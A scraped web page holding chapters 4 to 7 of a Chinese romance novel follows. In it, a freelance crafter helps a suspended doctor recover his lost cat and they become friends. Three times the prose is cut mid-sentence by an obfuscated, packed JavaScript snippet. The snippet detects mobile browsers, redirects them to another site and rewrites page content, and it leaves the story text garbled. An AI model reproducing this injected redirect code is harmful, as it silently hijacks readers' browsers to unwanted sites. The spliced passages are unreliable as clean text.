那人身形挺拔,哪怕是坐在秋千上坐姿也很端正。他身上穿着黑色冲锋衣,与他白净的脸形成鲜明的对比,眼角处那抹淡淡的伤痕颜色愈发显眼。 4. 第 4 章 这天天高云淡,天空一片湛蓝。 小公园内金灿灿的一片,秋风一吹,扑簌簌落下的秋叶乍一看像漫天飞舞的金色蝴蝶。 一片叶子悄然落在姜颂卷了发尾的乌黑长发上,扭头的一瞬间,那叶子又随着垂落的发丝自然掉落。 姜颂有点脸盲,只有一面之缘的人只能记住两种,一种是特别丑的,另一种是帅得很有记忆点的。 显然,孟决明属于后者。 她微微一笑:“孟医生,好巧啊。” 孟决明:“好巧。” 姜颂没想到会在这偶遇孟决明。 那天下午孟决明给她转账她没收,转账过了48小时自动退回,可是他每次都锲而不舍地再转回来,一句多余的话也不说。 她以为她只要没有反应,过不了三天孟决明就会放弃,毕竟谁也不会上赶着热脸贴人家的冷屁股。 谁料他一直坚持到今天仍然没有放弃的意思。 眼下的偶遇正好给了她一个当面开口的机会。 不过要是开门见山地提钱的事,他会不会觉得她对他的行为不胜其烦、忍无可忍了啊? 孟决明的歉意她有感受到,她也真心地相信他转那笔钱是真的心怀愧疚想要弥补,这要是被他误会成那种态度……姜颂代入了一下自己,觉得可能会有点受伤。 她搜肠刮肚了老半天,舌头在门牙背面扫了一圈又一圈,学着原来在老家上班时见到村里那些叔叔婶婶的语气,找了个非常俗气的话头: “今天没有上班吗?” 孟决明顿了两秒:“停职了。” 姜颂:“……” 姜颂倏地坐直了身体,忽然意识到自己这随口一问好像不偏不倚地正正好戳在了人家还没来得及愈合的伤口上,顿时有些不自在,于是神经紧张地道歉:“不好意思啊,那个……我就是随便问的。” “没关系,我没有介意。”他的目光落在她包着纱布的手上,“你手上的伤恢复得怎么样?” 姜颂抬起手:“已经没那么疼了,估计快好了吧。” 孟决明垂下了眼:“抱歉,肯定耽误你工作了。” “没有啊,我那天本来就是去骨科看病的。”姜颂低头看着自己的双手,十分坦荡地对他说,“我是自由职业,工不工作全看我心情。我这手是老毛病了,医生也建议我休息,就算没有受伤,我大概也是要休息一阵的。” 姜颂不以为意地笑了笑,抓住这个话头,顺其自然地带出想说的话:“我真的不怪你。” “你不怪我是你人好,这和我赔偿你不冲突。”孟决明却这样说,“说是赔偿,其实不如说是我想谢谢你,那天要不是你及时报警,我今天可能没办法好好地坐在这里。” 要知道,这世界上并不是每一个人在事不关己时都愿意伸出援助之手。高高挂起是应当,迎难而上则是勇气和善良。 “见义勇为奖?”姜颂忍俊不禁。 她边笑边说:“我觉得你这人还挺逗的,还真是从来没见过像你一样往外掏钱和揽责任这么积极的选手。” 孟决明听她这样打趣,耳朵莫名有点烧得慌,微微低着头说:“我真的觉得挺抱歉的,家属那种态度不可能赔钱给你,毕竟你是为了帮我,总不能让你吃这个亏。” “钱真的不用了。”姜颂说,“要不这样吧,你要实在过意不去,就当我们交个朋友。这样以后万一我的手伤复发,去医院就有熟人了。你觉得怎么样?” 孟决明短暂地愣了一下,随即缓缓露出一个温和的笑意,赞同道:“我觉得很好。” 姜颂眉眼弯弯地抓住两遍的秋千绳索,轻轻荡了下秋千,清爽的微风拂面而来,觉得偶尔出来亲近一下大自然也还是不错的。 她的目光拉远,看着来来往往的游客,忽然问:“孟医生也是来这里打卡的吗?” “不是。”孟决明摇头,“我的猫丢了,这几天都在各处贴寻猫启事。” 姜颂这才注意到他手上拿了一沓广告纸。 “就是你头像拍的那只吗?” “对。” “我可以看一下吗?” 孟决明捻了一张,刚要递过去,忽然听见一阵轻快活泼的旋律。 “圆圆的脑袋……大大耳朵……” 姜颂伸出去接寻猫启事的手顿住,低头去看来电。 孟决明停下动作,示意她先接电话。 孟决明听见她对电话那头的人说马上回去,默默把那张寻猫启事放回纸堆里。 电话很快挂断,姜颂说:“我有个快递等着我去签收一下,得先回家了。” 她站起来,孟决明也跟着站起来,她的视线一下子从平视变成了仰视。 姜颂张开手掌往前伸,抬头看着他说:“认识你很高兴。” 孟决明伸手,轻轻握住她手指的前两个关节,笑道:“我也是。” “要是你最近不忙的话,我可以请你吃饭吗?”他想了想,又补充道,“以朋友的身份。” 姜颂痛快地一点头:“那我可就不客气了。” “我走啦,再见!” “再见。” 等她走远,孟决明忽然发觉自己的嘴角一直扬着。手机叮咚一声,他一看,是姜颂把没过期的转账给他退还了。 他捏着手里的寻猫启事,继续寻找下一个能贴的地方。 * 姜颂没出门的这几天墙上又多了几个小广告,前两天她下楼喂猫的时候扫了一眼,真是气不打一处来。 于是一气之下下单了可视猫眼,约了今天送货上门并帮忙安装。 小公园跟姜颂住的小区离得非常近,她扫了个单车火速回家,当面签收了快递。 小哥业务非常熟练地安装完,说:“您进门用手机软件看看,试一下红外探测的功能管不管用。” 姜颂照做,关上门,在里面用手机软件远程控制可视猫眼视野转动,视野内出现门外小哥的身影一分钟后,手机顿时开始发出警报,门外也有催促对方离开的警告语音。 姜颂开门探出头:“可以,没有问题。谢谢你。” 小哥交代了两句注意事项,留了个联系方式就走了。 姜颂对这个新设备非常满意,她一个独居的年轻女性,总是要为自己的安全殚精竭虑,有了这个,安全指数多少又上调了一些。 研究了一会儿,她欢快地拿着一袋新猫粮下楼喂猫了。 这不去不要紧,一去就正好碰上了猫猫们正在打群架。 确切地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008022|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是围殴。 只见那只新来的银色小老虎被一圈流浪猫包围,流浪猫们嘴里时不时发出危险的呼噜声,仿佛下一秒就要一哄而上。 姜颂快步走过去。 她几乎每天都来喂猫,流浪猫们跟她最亲近,一见她来,一双双小眼睛瞬间盯上了她手里的猫粮,这场猫猫战争登时消弭于无形。 “出息了啊你们,还打起架来了!” 姜颂把猫粮盆挪远了些,流浪猫们忙着抢食吃,留下那只银色小老虎眼巴巴地在那看着。 这只猫就见了上次那么一次,中间那几天没来,姜颂还以为是被主人找回去了。现在看来是去四处跟流浪猫打架抢地盘了。 姜颂照例给它在面前倒了一点猫粮,喂完便上了楼。 她精神头特别差,出一趟门能消耗掉她的大部分精力,哪怕并不远。 下午出去玩了一会儿,一到晚上她就犯困,晚饭囫囵对付了一口,洗漱完她就睡下了。 可没想到这好不容易早睡一晚,半夜两点却被手机警报给吓醒了。 骤然惊醒,她心脏跳得厉害。她皱着眉,手掌贴着心脏位置缓了缓,惊魂未定地摸过手机打开软件。 饶是这可视猫眼有夜视功能,姜颂也还是花了好一番工夫才找到了警报声响起的“罪魁祸首”。 那“祸首”被警示语音吓了一跳,往后连退好几步,不满地冲着那会说话的摄像头呵气。 姜颂来到门口,想开门又想起网上那些利用奇怪声音入室抢劫的新闻,心里直打鼓,用软件翻来覆去三百六十度无死角地把四周环境全检查了一遍,确定周围确实没人,这才放心地开了门。 银色小老虎大驾光临,迈着优雅的猫步旁若无人地进了门,把姜颂看得目瞪口呆。 这小家伙倒是挺自来熟,在她的房子里视察似的转了一圈,冲她叫了一声。 姜颂抱着手臂,无奈地看着它。 这大晚上的,虽然野猫喜欢昼伏夜出,但出于人道主义,姜颂还是没忍心把猫赶出去。 她拆了一袋新的猫粮,家里没有猫粮盆,只好暂时找了个一次性打包盒代替。 倒完猫粮,她试图跟猫咪进行友好交流:“说好了,我不养猫的,只留你在这里住一晚哦!” 猫没理她,自顾自地大快朵颐,一副“不听不听王八念经”的模样。 姜颂困得不行,找了个盒子给猫倒了点水,才安心往卧室走去。 窗外夜色浓重,临近月中的月亮又大又圆,哄着这座城市安然入睡。 有人好梦正酣,有人失眠难捱。 桐市某处老旧小区内,有间房间的灯光彻夜未眠。 年轻男人拄着拐杖艰难地来到窗前,深夜的室内惨白的灯光映着他忧郁痛苦的神色,他右腿仅剩的残肢上缠着一圈又一圈的纱布。 那纱布此刻已经被混着血水的脓水渗透,不时传来腐肉糜烂的气息,仿佛预示着什么。 天边渐渐泛起鱼肚白。 老旧小区人口集中,老人偏多,一大早就有老太太挎着菜篮子准备去买菜。 老太太不经意地一瞥,被地上摔得血肉模糊的尸体吓得血压飙升,一个腿软跌坐在地上。 “快来人呐!有人跳楼了!” 5. 第 5 章 姜颂一觉睡到第二天中午,被窗外的鸟叫声吵醒。 她眯着眼,在床上把身体扭成了一个古怪的姿势。不料这一伸手摸到了一团毛茸茸的物什,还有温度传递过来。 吓得她光速缩回手,一个激灵从床上坐了起来。 好半晌,姜颂望着开了条缝的房门,以及床上睡得四仰八叉的猫,心跳频率才慢慢变正常。 那猫睁了下眼,跟她对视了片刻,扭了扭身子,又闭上眼接着睡了。 姜颂拍着胸口,昨晚一次,今早一次,这猫专门来吓她的吧! 她的目光无意间扫过小猫头顶的花纹。 电光石火间,她脑海里忽而闪过孟决明手里捏着的寻猫启事。 姜颂迅速拿过床头的手机,把孟决明的微信头像放大,放到猫旁边进行对比。 那头像图里的猫拍得不全,但脑袋上的那花纹太特殊了,几乎可以确定孟决明头像里的那只猫正是现在她身边躺着的这一只。 姜颂当即围着熟睡中的小猫全方位地拍了个视频,发给孟决明。 姜颂:【我好像捡到你的猫了?】 姜颂懒洋洋地趴倒在床上,下巴搁在交错的手臂上,盯着聊天页面等了一会儿,没收到回复。 她手指在屏幕上划了一下,顶部弹出一个横幅通知。 姜颂习惯性地就要顺手划掉,瞥见推送消息的那一刻,她倏而停住了动作。 此时此刻,姜颂发送出去的消息已经顺着网线传达到了另一边。 手机在口袋里响了一声,孟决明置若罔闻。 他低垂着眼,握在矿泉水瓶上的手指微微收力。 警察坐在对面,观察着他的反应,心中暗暗思考着这年轻人刚刚的回答与表情变化。 这个年轻人文质彬彬、气质温和,举止谈吐都十分有礼,一看就是个知识分子。 从电话联系他来警察局配合调查到进门坐在这里开始谈话,他始终都是礼貌而配合的态度。 这样一个人,为什么死者家属会一口咬定他是故意接下那台手术,并且在手术过程中做了手脚,才最终酿成了死者跳楼的悲剧的呢? 他个人更倾向于是死者家属为了多索要一些赔偿而诬陷眼前的年轻人。 然而在照例询问与死者关系的时候,这年轻人的反应却不太正常,这又是为什么? 良久,孟决明缓缓抬眼道:“我与死者和死者哥哥中学的时候是同班同学。” 警察瞪大了眼。 这个问题他早上做笔录时也问过死者家属,死者的双胞胎哥哥的回答与孟决明恰好相反。 他说他和眼前这年轻人根本不认识! 等等,不对! 这个线索如果家属方提供给警方,会增加孟决明的嫌疑,对家属方是有利的,那为什么家属要撒谎呢? 警察回过神,在本子上迅速记录孟决明的回答,又紧接着抛出下一个问题:“那你和死者之间有什么过节吗?” * 傍晚时分,姜颂刷到了一个做饭教程视频,看起来简单易上手。 刚巧需要的食材她家里还正好都有,于是兴冲冲泡到厨房准备研究一下当晚饭。 孟决明的电话就是这时候打来的。 姜颂看了眼来电显示,接起电话:“喂?” 电话那头传来孟决明的声音:“抱歉,今天比较忙,刚看见你的消息,猫还在你那吗?” 他的语气很平淡,听起来没什么精神,透着一种疲惫感。 “在的,你要过来接它吗?”姜颂说。 “嗯。”孟决明说,“你现在有空吗?” “有空。” “那我回家拿一下东西,然后过去接它,麻烦你再帮我照顾它一会儿。” “行,那我微信把地址发你。” “好。” 挂了电话,姜颂发了地址,孟决明告诉她大概半小时能过来,她就忙着研究晚饭去了。 一顿忙活,只剩最后一步——煮十五分钟。 姜颂盖上锅盖,坐在餐桌旁等着。 等待的空档中,孟决明发消息说到了她家楼下。 姜颂摘了围裙,走出厨房。 小猫窝在沙发上睡觉,姜颂一点没有拖泥带水地一把把猫抱起来,往门口走去。 小猫似乎是发现了姜颂要把它抱出门,一下子警觉起来,挣扎着脱离了姜颂的怀抱。 “哎?你跑什么?” “喵!” 猫跑到角落里,朝她喵喵叫。 姜颂一边追一边哄:“不是要把你扔了,你主人来接你了,你不想回家吗?” 她刚走过去,小猫一见她朝它走来就立马跑走了。 一人一猫玩了好几分钟的躲猫猫,姜颂终于眼疾手快地再次把它抱在怀里。 小猫左扭右扭疯狂挣扎,出门时愣是用爪子扒着门框不肯撒爪。 姜颂真没辙了,只得又把猫放下。 小猫敏捷地跑进她房间里,不肯出来了。 她双手叉腰,叹了口气。随后走到窗户前,拉开窗帘往楼下看去。 楼下,孟决明一身藏青色风衣,个子高挑,体态极佳,远远看着就让人觉得赏心悦目。 他半倚在车旁,手里正摆弄着手机。 孟决明在看网上的评论。 他眼眸低垂,手指缓慢地滑动着屏幕,仿佛要把这上面的每一条评论、每一个字眼都印入脑海。 那些话语似乎有了声音,从四面八方朝他涌来,势要将他吞没。 直到那些评论被突然跳出的通话请求页面遮盖,耳边那些嘈杂的唾骂声顷刻化为欢快的手机铃声。 孟决明猛然回神,发觉自己拿着手机的手在止不住地颤抖。 他伸手抓住颤抖的手腕,定了定神,接起电话。 耳畔响起姜颂无奈的声音,她说:“要不你上来亲自抓吧,我实在抓不住它。” 姜颂报了门牌号,孟决明抬头往上看了一眼,正看见姜颂在窗前跟他挥手。他犹豫了一下:“我上去你方便吗?” “方便,你来吧。” “那……打扰了。” 他从车里拿了猫包,上楼。 按下门铃,门很快被打开。 一开门,孟决明就感受到屋里扑面而来的温暖热气,夹杂着一丝甜香。 让他联想到冬日里在室内煮苹果热橙茶的味道,甜蜜而温暖。 姜颂穿着一身浅绿色居家服,衬得原本就雪白的皮肤更加白皙透亮。 她乌黑的长发随意绑成了一个低低的丸子,额前碎发从脸颊两侧自然垂落,掩映着她透着淡粉色的脸颊。 她很适合绿色,穿绿色的她像一颗带着绿叶的水蜜桃,美丽而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008023|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充满生机。 和上次在公园里偶然见面时的精心打扮不同,眼前的她随意又闲适。 她微笑道:“请进。” 孟决明问:“需要换鞋子吗?” “我这平常没什么人来,所以没有备用的拖鞋。没关系,你直接进来就好。” “打扰了。” 孟决明进了门,映入眼帘的是被姜颂精心布置过的客厅。 这客厅整体是暖色调,不像传统的客厅布局,没有电视,整整一面墙壁都是展示柜,里面放了各式各样的手办和摆件。 客厅中心有一张圆形的原木茶几,上面放着几卷颜色不同的线和水杯,旁边配着懒人沙发和一个小型黑板架。黑板上用粉笔写了一些数字,看起来像是日期。 其余的墙面上贴着一些拍立得照片,有人物,也有景色,零零散散地贴了一整面墙壁。 处处都透着主人的创意和活力。 “猫在房间里,我本来想把它抱下去的,但是它可能觉得我要把它抱出去扔掉,死活不肯出门。”姜颂对他说。 孟决明笑:“我第一次知道它这么粘陌生人。” 姜颂把他带到卧室门前:“所以只能你亲自来了。” 小猫躲在房间角落里,脸朝墙壁蜷缩着身子,听见有人开门也无动于衷。 孟决明没有进去,站在门口轻轻喊它:“兰花。” 听见这熟悉的声音,缩成猫猫球的兰花动了动,终于肯转过头,琉璃似的眼珠里映着门口男人颀长的身影。 它一骨碌起身,快步朝他奔跑而来,轻巧一跃。 孟决明蹲下身子接住,把它抱在怀里。 兰花在他怀里喵喵呜呜地叫,蹭个不停,孟决明伸手在它脑袋上摸了摸。 “它叫兰花吗?”姜颂问。 “嗯。”孟决明说,“真的很感谢你,兰花跑丢好几天了,我真的很担心。” 姜颂笑着说:“现在不用担心了。” 兰花窝在孟决明的臂弯之中,蹭够了,看向姜颂,叫了一声。 姜颂不解,看向孟决明。 孟决明:“它好像想让你摸摸它。” 闻言,姜颂笑眯眯地伸手在它脑袋上轻轻抚摸,对它说:“下次别再乱跑了。” 兰花眯着眼,仿佛很享受来自姜颂的抚摸,发出了舒服的呼噜声。 “兰花很喜欢你。”孟决明说。 “真的?” 孟决明笑着点头道:“它看着乖,其实脾气很怪,从来不让别人摸的,连洗澡都是我亲自洗,外面没有店敢收它。” 把猫装进猫包,孟决明本想再跟姜颂道谢,然后离开,却在这时敏锐地闻到了一室馨香中掺杂着的一丝糊味。 “你厨房是不是煮着东西?” 此话一出,姜颂愣住,终于想起来那锅被她遗忘的晚饭。 已经快过两个十五分钟了! 她着急忙慌跑到厨房。 灶台上的锅里冒着烟,她手忙脚乱地关火。 不过无济于事,饭已经全都糊了。 孟决明抱着猫包,悄无声息地站到厨房门口。 姜颂心疼地与锅里那坨黑乎乎的食物对视,觉得实在难以下咽,和它依依惜别后,默默倒进垃圾桶。 身后传来孟决明的声音: “那我可以今天请你吃晚饭吗?” 6. 第 6 章 姜颂闻言转过身去,见孟决明笑吟吟地望着她。 “上次见面不是说好了,要请你吃饭的。你又帮我收留了兰花,我该谢谢你的。” 上次的确是说了,不过姜颂觉得像“改天请你吃饭”这种话大多是说说而已。 并不是她觉得孟决明当下不是真心想请她吃饭,而是她认为两个人以后也许不会再有过多的交集进而去兑现这顿饭。 吃饭,对她来说是一件很私密的事情。 跟人一起吃饭,需要考虑双方不同的口味与习惯。完全吃不到一起去的两个人,如果其中一个人不能迁就对方,那么大概率两人连朋友都做不了。可是迁就了,那个人就要委屈自己吃不喜欢的东西。 再者,吃饭又不仅仅只是吃饭,总要有一些话题能聊才不至于冷场尴尬吧。 作为一个母胎单身且不擅长跟人交朋友的人,跟异性单独吃饭,对她来说可能有点太新奇了。 万一冷场那多尴尬啊! 姜颂无意识地咬着唇纠结。 兰花趴在猫包的窗户前,望着姜颂叫了一声。 孟决明微微一笑道:“去吧,兰花想让你去。” 这个理由令姜颂哑然失笑。 “盛情难却。”姜颂说,“那我换个衣服,稍等。” 孟决明说:“现在时间还早,不着急的。我可以参观一下你的客厅吗?” “当然。” 姜颂回房间换衣服去了,留下孟决明一个人在客厅里。 他停在展柜前,看着那些手办,离近了才发现那些原来都不是市面上卖的那种手办,而全都是不同的材质。 有毛线做的,也有一些看起来像是粘土做的,还有一些他看不出来具体是什么材质的。 总之五花八门,但每一件都栩栩如生,甚至要比市面上卖的原版更加漂亮。 他又来到了照片墙前,这上面的照片大多数是风景照。 各种形态的云朵、残阳如血的黄昏、浪花朵朵的海边…… 每一张照片上都用记号笔记录着拍摄时间。 这些景色其实大多数是日常生活中常见的,但孟决明没想到会有人如此珍惜这些别人眼里平凡的瞬间。 很有意义,也很特别,像她这个人一样。 姜颂不太习惯让人等,三下五除二换好了衣服出来。 一出门,她看见孟决明身上的风衣,后知后觉刚才随手拿的卫衣和棒球帽也是藏青色的。 孟决明朝她看过来,姜颂有点尴尬,不知道该不该回去换一件。 不换会不会被认为是故意的呢?但是如果人家没这么想,她现在回去换是不是有点太刻意了? 孟决明压根不知道姜颂心里的这些小心思,只是指了指柜子里的东西,问她:“这些都是你自己做的吗?” 姜颂见他没在意衣服,暗自松了口气。 她点点头:“嗯。” 看起来孟决明好像对她做的这些小东西很感兴趣。 到两人吃饭时,他问:“我记得你说自己是自由职业,所以这是你的工作吗?” 肉片被烤得冒油,滋滋作响。姜颂强迫症似的把每一片卷着的烤肉平铺开来。 她回答道:“是的。我平时会在平台上运营个人账号,发布我的作品照片,这样能接到一些单子,有一点收入。” 孟决明点点头:“听起来很有趣。” “是很有趣,但是很费手。”姜颂露出一个无奈的微笑,“有时候赶单赶得急了手会很痛,基本是在透支健康。那天去你们医院就是因为刚赶完一个大单子,手腕一直疼。” “那不能缓一缓再接新单吗?”孟决明问。 姜颂摇头,解释道:“这种不稳定的工作就得抓住一切机会,因为有的时候会同时来好几个单,那有的时候就会十天半个月的也接不到一单,没有稳定的收入来源。所以有单子找来的时候我就会尽可能地接下来。” 孟决明毕了业就进了现在的医院,工作稳定得几乎一眼能看到人生尽头。 可是稳定也代表着按部就班,每天重复得都像是复制粘贴,毫无新意。 对于这样有意思的工作,他多少有点新奇,即使姜颂这么说。 本来姜颂有点担心没有话题会冷场,结果在孟决明的好奇追问下,两个人就这样有一搭没一搭地聊着聊着,有来有回,气氛很好。 不知不觉中,这顿饭已经吃完了。 这家烤肉店离她的小区不远,两个人是走着来的,孟决明的车还在她家楼下停着。 吃完两人一起散步回去。 秋日的天早早暗下来,街边的路灯发着幽暗的暖光。 见他感兴趣,姜颂顺口讲了许多接单子时遇到的奇葩事,闲聊渐渐地变成了她的工作吐槽大会,多少带了点抱怨的意味。 可孟决明听得津津有味。最后,他得出了结论:“但是我觉得你很喜欢这份工作。” 不然不会明知道这份工作有这么多的缺点,还义无反顾地做下去。 “嗯,还好吧,工作哪有十全十美的。”姜颂笑,“每个人对好工作的定义不一样,我不太擅长和人交流,总是内耗。所以不用和人打交道,对我来说就很好。” 孟决明笑而不语,起码在他看来姜颂还挺擅长跟他交流的,因为跟姜颂在一起,他觉得很舒服、很放松。 姜颂忽地发觉这顿饭好像从头到尾都是他问她讲,她几乎把她的工作和盘托出,,而她对他还是一无所知。 于是,她转移了话题对象:“那你呢,你喜欢医生这份工作吗?” 孟决明认真想了想,回答道:“算不上喜欢。” “不喜欢?”姜颂惊讶。 医生不像是大多数职业,它的专业性过强,投入高,沉没成本更高。 据姜颂所知,能进孟决明所在的医院的医生,学历至少也得是名校硕士毕业起步。 姜颂联想到自己毕业后为了让父母满意,被迫做了不喜欢的老师的那几年痛苦日子,光是想想就难受:“如果不喜欢,学医这么多年,毕业后再从事这份工作,不会很痛苦吗?” 孟决明牵了牵唇角,说:“有一点,不过看见负责的病人健康出院的时候也会觉得很开心。” “但是有的时候……”他顿了下,“也会怀疑自己究竟适不适合这份工作。” 他说话的语气倒是没有多大的起伏变化,但姜颂看到了那条新闻推送,自然知道他为什么这么说。 姜颂一时不知道该说点什么,也不知道是该安慰他,还是装听不懂。两人就这么莫名其妙地沉默了下来。 好一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008024|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,孟决明才低声开口道:“其实……我有个问题想问你。” “嗯?你说。” 姜颂作洗耳恭听状。 孟决明放缓了脚步,停顿了几秒钟。 接着,他轻声问道:“那天对方人多势众,我们素不相识,你为什么愿意帮我?” 姜颂看着他眨了眨眼,反应过来他说的是他们第一次见面那天的事。 为什么? 她认真地回想了一下当时自己的心理状态,“好像也没有什么原因。” “当时没想那么多,就觉得他们太凶了,你只有一个人,没人报警的话,指不定会发生一些大家都不愿意看到的事情。” “其实……”姜颂往前走出两步,“我看见那条新闻了。” 看见了那些对他铺天盖地的攻击与谩骂,也看见了网友的群情激愤,恨不得钻出屏幕将他这个“庸医”千刀万剐。 她想了想,觉得有些话还是要对他说。 “我相信你。”她说。 孟决明骤然抬眼。 姜颂却没看他,只是目视前方,自顾自地继续说着自己的理由:“这个世界上很多人都坚信‘多做多错,少做少错,不做不错’,尤其是进入社会之后,多的是吃力不讨好的事,这个道理其实很对。但是,懂得这个道理之后,还能遵从本心就很可贵了。比如,你完全可以不接那台手术,谁也说不着你什么,但是你还是接了。” “虽然我们认识时间很短,你也没说几句话,但我觉得你是个很负责任的人,不然不会一直追着给我转钱。”姜颂继续说道,“然后你还养了兰花,并且养得很好。没有责任心的人,是不会喜欢养小动物的。” 最后,姜颂对他说:“所以孟医生,这件事情,我的直觉相信你,而我相信我的直觉。希望你不要被网络上的那些不好的话影响,你没有错。” 帽檐遮住了她大半张脸,从孟决明的角度看去,只能看到她被灯光映亮的一双眼睛,干净纯粹,满是真诚。 孟决明愣了好一会儿没接话,情绪正在心底翻天覆地地翻涌。 有人愿意相信他。 一个只见过三次面,近乎陌生的女孩。 孟决明觉得喉咙干涩,鼻尖弥漫着一丝酸意。 他滚了滚喉结,将心底那些难以言喻的感觉强压下去。 两人已经步行至楼下。 姜颂指指楼上:“那孟医生,我就先上楼了,谢谢你请我吃饭,你开车回家注意安全。” “是我要谢谢你。” 孟决明平复好情绪,缓缓说:“今天其实因为这件事心情不太好,谢谢你刚才跟我说那些话,我现在心情好很多。” 姜颂眨眨眼,笑道:“真的吗?那我也很开心。” 姜颂长着一张短圆脸,瞳仁漆黑如点墨,一笑起来大大的一双眼睛微微眯起,泛着亮晶晶的光,使她的笑容极具感染力。 他话锋一转。 “你最近有别的事要忙吗?” 他的话题实在过于跳跃,姜颂没跟上他的思维,但还是下意识顺着他的话答:“没有。” 于是,孟决明试探地说出了自己的想法:“我的停职调查一时半会儿也结束不了,如果你不忙的话,这段时间我想跟你学习做手工,可以吗?” “啊?” 7. 第 7 章 姜颂怀疑自己幻听了。 孟医生,要跟她,一块,做手工? 啊? 紧接着,孟决明的补充终于让姜颂明白了,她没听错,他真想学。 “那两万块转账你还是收下,就当是我的学费。不会占用你很多时间,你就空闲的时候教教我。”孟决明说,“可以吗?” 姜颂迟疑片刻,打量着他这一幅高级知识分子的模样,又联想到他这双骨节分明的手握着手术刀在手术台上力挽狂澜的情景。 她脑海里自动把手术台换成了她那杂乱的工作台,他手里的手术刀换成了各种手工小工具,想象他一脸严肃地坐在台前玩泥巴、织毛线、缝娃娃。 真是怎么想怎么违和。 她不确定地问:“可以是可以……你真的要学吗?” 孟决明却十分坚定地点了头。 既然如此,姜颂大方地分享了自己的平台账号ID,孟决明当即关注了她。 跟孟决明道了别,姜颂便哼着小曲上楼去了。 回到家里,她换上拖鞋,准备回房间先把衣服换了。 手机铃声在这时候响起。 “圆圆的脑袋……大大耳朵……” 姜颂瞄到来电显示,整个人瞬间僵住。 “笨手又笨脚……跑步像陀螺……” 她就站在原地,仿佛时间静止一般,眼也不眨地看着屏幕上的来电通知一个劲儿地闪烁,唇线绷成一条直线。 “老师夸我是个……是个机灵鬼……妈妈摇头叫——” 欢快的铃声戛然而止。 手机屏幕上跳出未接来电的提醒。 她保持着低头看手机的动作顿了两秒,随后收了手机,当作没看见,大步走向卧室。 手机又响一声,这次是微信。 妈妈:【姜姜,元旦回家吗?妈妈想你了。】 姜颂按熄了屏幕,把手机反扣在床上。 换好睡衣,躺到床上,她才回了消息。 【元旦加班,请假扣钱,没空回。】 自打她来到桐市后,母亲偶尔会联系她,她都是用这套说辞回答。 她回完微信,把手机调成静音放到床头,顺手关掉台灯。 片刻后,床上的人在黑暗中翻来覆去。 另一边,孟决明为了防止自己再去看那些新闻下的评论,同样早早放下了手机准备睡觉。 兴许是最近没上班,身体没那么累,闭上眼也迟迟无法进入睡眠。 最后还是从床头摸过手机解锁,点进了某个今晚刚刚下载的社交平台。 姜颂给他的账号里发布了很多条内容,有各式各样的教程和成品图。每一类内容还建立了专门的分类,让人能够一目了然。 孟决明往下滑了滑,找到一条去年圣诞节期间发布的做小兔子的石塑粘土教学视频,随手点了进去。 教学视频里没有露脸,是俯拍角度,清晰地拍到了姜颂的手和桌面上七七八八的材料与工具,讲解的声音是AI合成的。 这视频从教学的角度来讲录得非常仔细,每一个步骤中需要注意的点都有重点讲解,并伴随着细节画面放大,而不重要的地方则进行了加速处理,详略得当,言简意赅。 只见短短几分钟过去,视频中的兔子已经成了型,被姜颂处理过后的成品非常精致可爱。 孟决明连着点开看了好几个教程,发现姜颂的水平发挥得非常稳定,不管是什么类型的手工,什么样的造型,都能做得惟妙惟肖。 他一个视频接一个视频地点开,看着画面中那双神奇的手做出各种各样可爱的小东西,觉得很厉害又很新奇,不知不觉就看到了后半夜。 他比较了了半天,觉得石塑黏土似乎更适合他,随即跳转到某购物平台下单了一整套石塑粘土套装。 * 养伤的这段时间,姜颂的账号在缓慢地掉粉。 做自媒体就是这样,一旦松懈,掉粉就是家常便饭。 在手工博主这条赛道上,想要脱颖而出,只能靠作品说话,姜颂深谙这一点。 本来她是打算等剧组那个大单子完成之后研究一下新品的,没想到手伤复发加上意外受伤,新品的事就这么耽误了下来。 可问题是,她现在除了手部处于负伤状态之外,也真的没有什么好点子能更新。 看着每天减少的粉丝量,姜颂说不焦虑是假的。 她叹了口气,仰面躺在沙发上刷新着页面,想看看最近有什么热点形象,找点灵感。 微信忽地弹出了一条消息。 孟决明:【小姜老师,今天方便开始授课吗?】 姜颂看着屏幕停顿了两秒钟。 说不定教教新手会找到点新灵感呢? 姜颂:【随时可以开始。】 姜颂:【你想线上还是线下授课?】 孟决明:【线下吧,我去你家,顺便帮你换一下药,可以吗?】 姜颂看了下手上的纱布,好像是该换一下了。 姜颂:【好。】 一个小时后。 孟决明带着药箱和一箱石塑黏土的材料来到姜颂家。 进门的时候他不知从哪翻出了一双一次性拖鞋,把姜颂看的一愣一愣的。 姜颂看着他坐在鞋凳上换鞋,忍不住说:“其实你直接进来就行,我没有那么讲究的。” 